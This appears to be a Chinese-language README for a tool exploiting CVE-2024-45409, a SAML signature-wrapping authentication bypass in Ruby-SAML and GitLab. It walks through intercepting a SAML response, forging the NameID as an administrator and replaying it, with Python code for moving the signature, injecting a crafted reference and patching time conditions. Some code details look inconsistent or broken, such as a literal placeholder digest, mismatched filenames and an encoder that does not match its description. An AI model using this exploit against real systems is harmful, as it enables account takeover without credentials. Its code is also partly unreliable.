CVE-2024-45409 漏洞利用工具
该项目提供了一个针对 Ruby-SAML 库及 GitLab 认证绕过漏洞(CVE-2024-45409)的完整利用脚本。通过操纵已签名的SAML响应文档,攻击者可以伪造任意用户的断言,从而在无需凭证的情况下获得对受影响GitLab实例的访问权限。
功能特性
- SAML响应解析:自动解析Base64编码或原始XML格式的SAML响应文档
- 签名重定位:将原始响应中的XML签名移动到断言内部,保持签名验证的有效性
- 身份伪造:修改断言中的
NameID字段,指定任意目标用户名(如管理员账号) - 恶意引用注入:在
StatusDetail元素中注入特制的DigestValue,绕过完整性校验 - 自动编码处理:支持输入自动解码和输出Base64编码,方便直接替换HTTP请求参数
- 时间条件修补:自动调整断言的
NotBefore和NotOnOrAfter时间戳,确保断言有效 - 唯一ID生成:为响应和断言生成符合规范的唯一标识符
安装指南
系统要求
- Python 3.6+
- Linux/Unix/macOS(支持标准Python环境)
依赖安装
# 安装lxml库(XML处理)
pip install lxml
# 或在Debian/Ubuntu系统上使用apt
apt install python3-lxml
获取脚本
直接将CVE_2024_45409.py脚本下载到本地即可使用,无需额外配置。
使用说明
基础用法
python3 CVE_2024_45409.py -r <SAML响应文件> -n <目标用户名> [选项]
命令行参数
| 参数 | 说明 |
|---|---|
-r, --response-file | SAML响应文件路径(支持Base64或原始XML) |
-n, --name-id | 要伪造的目标用户名(如admin@example.com) |
-o, --output-file | 输出文件路径(默认:response.patched) |
-d, --decode-input | 输入文件为Base64编码,自动解码 |
-e, --encode-output | 输出文件进行Base64编码 |
-p, --id-prefix | 生成的ID前缀(默认:_) |
典型攻击流程
-
拦截SAML响应
POST /users/auth/saml/callback HTTP/1.1 Host: gitlab.target.com Cookie: ... SAMLResponse=PHNhbWxwOlJlc3BvbnNl... -
利用脚本修改响应
python3 CVE_2024-45409.py -r saml_response.b64 -d -e -o malicious_response.b64 -n admin@target.com -
替换并重放攻击 将输出的
malicious_response.b64内容替换原SAMLResponse参数值,重新发送请求。 -
成功认证 服务器返回302重定向至GitLab首页,表示已成功以目标用户身份登录。
输出示例
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Write patched file in response_patched.url_base64
核心代码
漏洞利用主流程
class CVE_2024_45409:
def exploit(self) -> None:
"""执行完整的漏洞利用流程"""
print("[+] Parse response", file=stderr)
self._parse()
self._move_signature_in_assertion()
print("[+] Patch response ID", file=stderr)
self._response_document.attrib["ID"] = self._generate_unique_id()
print("[+] Insert malicious reference", file=stderr)
self._insert_malicious_reference()
print(f"[+] Write patched file in {self._output_file_path}", file=stderr)
self._write_output()
签名移动与恶意引用注入
def _move_signature_in_assertion(self) -> None:
"""将原始响应中的签名移动到断言内部"""
# 克隆原始签名节点
new_signature = copy.deepcopy(self._signature)
# 移除原始签名位置
self._signature.getparent().remove(self._signature)
# 将签名插入到断言最后一个子元素之后
self._original_assertion.append(new_signature)
self._signature = new_signature
def _insert_malicious_reference(self) -> None:
"""在StatusDetail中注入恶意的DigestValue引用"""
# 创建SignedInfo副本
signed_info = self._signature.find(".//ds:SignedInfo", namespaces=NAMESPACES)
new_signed_info = copy.deepcopy(signed_info)
# 构造恶意的Reference URI指向断言ID
new_reference = etree.SubElement(new_signed_info, "{http://www.w3.org/2000/09/xmldsig#}Reference")
new_reference.set("URI", f"#{self._original_assertion.attrib['ID']}")
# 设置DigestMethod和DigestValue
digest_method = etree.SubElement(new_reference, "{http://www.w3.org/2000/09/xmldsig#}DigestMethod")
digest_method.set("Algorithm", self._digest_algorithm)
digest_value = etree.SubElement(new_reference, "{http://www.w3.org/2000/09/xmldsig#}DigestValue")
digest_value.text = "malicious_digest"
# 注入到StatusDetail中实现绕过
status_detail = self._response_document.find(".//samlp:StatusDetail", namespaces=NAMESPACES)
if status_detail is None:
status_detail = etree.SubElement(
self._response_document.find(".//samlp:Status", namespaces=NAMESPACES),
"{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail"
)
status_detail.append(new_signed_info)
响应解析与时间修补
def _parse(self) -> None:
"""解析SAML响应并提取关键元素"""
# 读取并解码响应
with open(self._response_file, "rb") as f:
self._raw_response = f.read()
if self._decode_input:
self._raw_response = b64decode(self._raw_response)
# 解析XML
self._response_document = etree.fromstring(self._raw_response)
# 提取签名元素
self._signature = self._response_document.find(".//ds:Signature", namespaces=NAMESPACES)
# 提取原始断言并修补时间条件
self._original_assertion = self._response_document.find(".//saml:Assertion", namespaces=NAMESPACES)
self._patch_assertion_conditions()
self._patch_name_id()
def _patch_assertion_conditions(self) -> None:
"""修改断言的有效时间窗口和受众限制"""
conditions = self._original_assertion.find(".//saml:Conditions", namespaces=NAMESPACES)
now = datetime.now(UTC)
conditions.set("NotBefore", (now - timedelta(minutes=5)).isoformat())
conditions.set("NotOnOrAfter", (now + timedelta(hours=1)).isoformat())
辅助编码函数
def encode_response(self, data: bytes) -> str:
"""对输出响应进行Base64 URL安全编码"""
if self._encode_output:
return b64encode(data).decode()
return data.decode()
def decode_response(self, data: str) -> bytes:
"""解码Base64 URL安全格式的输入"""
return b64decode(data)
def _generate_unique_id(self) -> str:
"""生成符合SAML规范的唯一标识符"""
return f"{self._id_prefix}{uuid4().hex}"
6HFtX5dABrKlqXeO5PUv/0UqUNUOgQs30FW3eyiKiCI=